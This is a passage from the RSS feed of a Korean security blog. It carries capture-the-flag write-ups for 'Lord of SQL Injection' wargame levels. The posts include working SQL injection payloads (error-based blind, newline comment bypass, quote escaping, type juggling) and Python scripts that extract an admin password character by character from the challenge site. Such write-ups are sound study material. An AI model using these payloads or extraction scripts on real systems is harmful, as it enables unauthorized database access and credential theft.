&amp;nbsp; &amp;nbsp; &amp;nbsp; text = rs.text&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(&quot;query&quot; in text):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(str(i) + &quot; find it &quot; + str(c) + &quot; &quot; + chr(c))&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x20 Security/0x25 Write-Ups</category>
      <author>문승현 (허빈)</author>
      <guid isPermaLink="true">https://hubeen.tistory.com/362</guid>
      <comments>https://hubeen.tistory.com/362#entry362comment</comments>
      <pubDate>Thu, 27 Sep 2018 02:59:41 +0900</pubDate>
    </item>
    <item>
      <title>[LOS1] iron_golem</title>
      <link>https://hubeen.tistory.com/361</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9931BF355BABB82D0F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9931BF355BABB82D0F&quot; width=&quot;960&quot; height=&quot;478&quot; filename=&quot;스크린샷 2018-09-27 01.43.34.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이 문제는 애들한테 말로만 듣던 에러 기반 블라인드 인젝션 문제임을 파악할 수 있었다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그저 쿼터 하나 넣었는데 에러가 뜨길래 파악을 할 수 있었다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;select * from table where 1 and if(1=1,1,(select 1 union select 2))&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;select * from table where 1 and if(1=2,1,(select 1 union select 2))&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;첫번째 예제는 if 절이 1=1 로 참이 되면서 단순히 1을 반환한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;두번째 예제는 if 절이 거짓이 되면서 select 1 union select 2 라는 쿼리를 실행하게 되고,&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;서브쿼리에서 복수의 값을 반환하면서 에러가 발생하게 된다. (thx to hellsonic)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://hackerschool.org/Sub_Html/HS_Posting/?uid=43&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;글을 읽고 풀었다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;너모 감사드린다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;import requests&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;url = &quot;https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php&quot;&lt;/p&gt;&lt;p&gt;headers = {'User-Agent': 'Mozilla/5.0'}&lt;/p&gt;&lt;p&gt;cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;'''&lt;/p&gt;&lt;p&gt;?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((length(pw)=16),1,(select%201%20union%20select%202));%20%23%20&lt;/p&gt;&lt;p&gt;error : Subquery returns more than 1 row&lt;/p&gt;&lt;p&gt;'''&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;length = 0&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;for i in range(1,100):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; rs = requests.get(url + &quot;?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((length(pw)=&quot; + str(i) + &quot;),1, (select%201%20union%20select%202));%20%23%20&quot;, headers=headers, cookies=cookies)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; text = rs.text&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; if(&quot;Subquery returns more than 1 row&quot; in text):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pass&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; else:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(&quot;find it length = &quot; + str(i))&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; length = i/4&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# get length&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;for i in range(1, i+1):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; for c in range(33, 255):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; rs = requests.get(url + &quot;?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((ord(substr(pw,&quot;+ str(i) +&quot;,1))=&quot;+ str(c) +&quot;,1,(select%201%20union%20select%202));%20%23%20&quot;, headers=headers, cookies=cookies)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; text = rs.text&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(not &quot;Subquery returns more than 1 row&quot; in text):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(str(i) + &quot; find it &quot; + str(c))&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;유니코드이기때문에 /4를 해주었다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x20 Security/0x25 Write-Ups</category>
      <author>문승현 (허빈)</author>
      <guid isPermaLink="true">https://hubeen.tistory.com/361</guid>
      <comments>https://hubeen.tistory.com/361#entry361comment</comments>
      <pubDate>Thu, 27 Sep 2018 01:49:53 +0900</pubDate>
    </item>
    <item>
      <title>[LOS1] dragon</title>
      <link>https://hubeen.tistory.com/360</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9961E53E5BA6492F08&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9961E53E5BA6492F08&quot; width=&quot;960&quot; height=&quot;501&quot; filename=&quot;스크린샷 2018-09-22 22.52.03.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이 문제는 우리는 pw를 입력하지만 앞에서 주석처리가 되어있었다;;&lt;/p&gt;&lt;p&gt;뭐 줄넘김 같은게 되지 않을까해서 \n을 넣어보고 했는데&amp;nbsp;&lt;/p&gt;&lt;p&gt;%0a가 있음을 깨달았다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;!--?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?--&gt;

&lt;a style=&quot;font-weight: bold;-en-clipboard:true;&quot; href=&quot;https://los.eagle-jump.org/dragon_7ead3fe768221c5d34bc42d518130972.php?pw=qwer%27%20%0a%20and%20pw=%27%27%20or%20id=%27admin&quot;&gt;?pw=qwer%27%20%0a%20and%20pw=%27%27%20or%20id=%27admin&lt;/a&gt;&lt;/p&gt;</description>
      <category>0x20 Security/0x25 Write-Ups</category>
      <author>문승현 (허빈)</author>
      <guid isPermaLink="true">https://hubeen.tistory.com/360</guid>
      <comments>https://hubeen.tistory.com/360#entry360comment</comments>
      <pubDate>Sat, 22 Sep 2018 22:54:46 +0900</pubDate>
    </item>
    <item>
      <title>[LOS1] xavis</title>
      <link>https://hubeen.tistory.com/359</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C7B7395BA6488D11&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C7B7395BA6488D11&quot; width=&quot;960&quot; height=&quot;529&quot; filename=&quot;스크린샷 2018-09-22 22.49.46.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이 문제는 정말 좋은 경험을 했다고 생각한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;!--?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?--&gt;

&lt;div&gt;&lt;a href=&quot;https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?pw=1234%27%20or%20id=%27admin%27%20%20and%20length(pw)=40%23&quot;&gt;?pw=1234%27%20or%20id=%27admin%27%20%20and%20length(pw)=40%23&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;40글자라고 해서 좀 놀랐다.
&lt;/div&gt;&lt;div&gt;허나 ascii(substr(pw,1,1)) 로 돌려보자 모든 값들이 0으로 나오는 것을 보고 유니코드임을 파악할 수 있었다.
&lt;/div&gt;&lt;div&gt;유니코드는 4바이트로서 40/4를 하여 총 10글자임을 알 수 있었다.
&lt;/div&gt;&lt;p&gt;유니코드는 ord 함수를 이용하여 뽑아내었따&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;import requests&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;url = &quot;https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php&quot;&lt;/p&gt;&lt;p&gt;headers = {'User-Agent': 'Mozilla/5.0'}&lt;/p&gt;&lt;p&gt;cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;'''&lt;/p&gt;&lt;p&gt;?pw=1234%27%20or%20id=%27admin%27%20%20and%20right(left(pw,1),1)=%27a%27%23&lt;/p&gt;&lt;p&gt;?pw=1234%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,%201,%201))%20=%2010%20%23&lt;/p&gt;&lt;p&gt;'''&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;for x in range(10):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; for c in range(33, 255):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; rs = requests.get(url + &quot;?pw=1234%27%20or%20id=%27admin%27%20and%20ord(substr(pw,%20&quot; + str(x) + &quot;,%201))%20=%20&quot; + str(c) + &quot;%20%23&quot;, headers=headers, cookies=cookies)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; text = rs.text&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(&quot;&amp;lt;h2&amp;gt;Hello admin&amp;lt;/h2&amp;gt;&quot; in text):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(str(x+1) +&amp;nbsp; &quot; ascii = &quot; + str(c) + &quot; find it&quot;)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x20 Security/0x25 Write-Ups</category>
      <author>문승현 (허빈)</author>
      <guid isPermaLink="true">https://hubeen.tistory.com/359</guid>
      <comments>https://hubeen.tistory.com/359#entry359comment</comments>
      <pubDate>Sat, 22 Sep 2018 22:51:24 +0900</pubDate>
    </item>
    <item>
      <title>[LOS1] nightmare</title>
      <link>https://hubeen.tistory.com/358</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991C66435BA6460406&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991C66435BA6460406&quot; width=&quot;960&quot; height=&quot;368&quot; filename=&quot;스크린샷 2018-09-22 22.38.53.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이 문제는 mysql 에서 문자열은 0이 된다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;?pw=%27)=0;%00&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;0=0은 true이기에 조건이 맞아서 출력이 댄다.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;SELECT 'a' = 0 — TRUE&lt;/p&gt;&lt;p&gt;SELECT 'abc' = 0 — TRUE&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;SELECT '1' = 0 — FALSE&lt;/p&gt;&lt;p&gt;SELECT '123' = 0 — FALSE&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;SELECT 'x1' = 0 — TRUE&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;SELECT '1x' = 0 — FALSE&amp;nbsp;&lt;/p&gt;&lt;p&gt;SELECT '1x' = 1 — TRUE&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;SELECT '12x1' = 0 — FALSE&lt;/p&gt;&lt;p&gt;SELECT '12x1' = 121 — FALSE&lt;/p&gt;&lt;p&gt;SELECT '12x1' = 12 — TRUE&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x20 Security/0x25 Write-Ups</category>
      <author>문승현 (허빈)</author>
      <guid isPermaLink="true">https://hubeen.tistory.com/358</guid>
      <comments>https://hubeen.tistory.com/358#entry358comment</comments>
      <pubDate>Sat, 22 Sep 2018 22:49:20 +0900</pubDate>
    </item>
    <item>
      <title>[LOS1] succubus</title>
      <link>https://hubeen.tistory.com/357</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99DF2F4F5BA6449703&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99DF2F4F5BA6449703&quot; width=&quot;960&quot; height=&quot;412&quot; filename=&quot;스크린샷 2018-09-22 22.32.19.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이 문제는 싱글쿼터를 못 넣는다...&lt;/p&gt;&lt;p&gt;허나 생각해보니 저 쿼터를 문자열로 인식하게 되면 대는거시다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고 무조건 True로 만들어서 아무 아이디나 뜨게 하면 되는거시다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;?id=\&amp;amp;pw=%20||%201=1%20%23&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x20 Security/0x25 Write-Ups</category>
      <author>문승현 (허빈)</author>
      <guid isPermaLink="true">https://hubeen.tistory.com/357</guid>
      <comments>https://hubeen.tistory.com/357#entry357comment</comments>
      <pubDate>Sat, 22 Sep 2018 22:38:25 +0900</pubDate>
    </item>
  </channel>
</rss>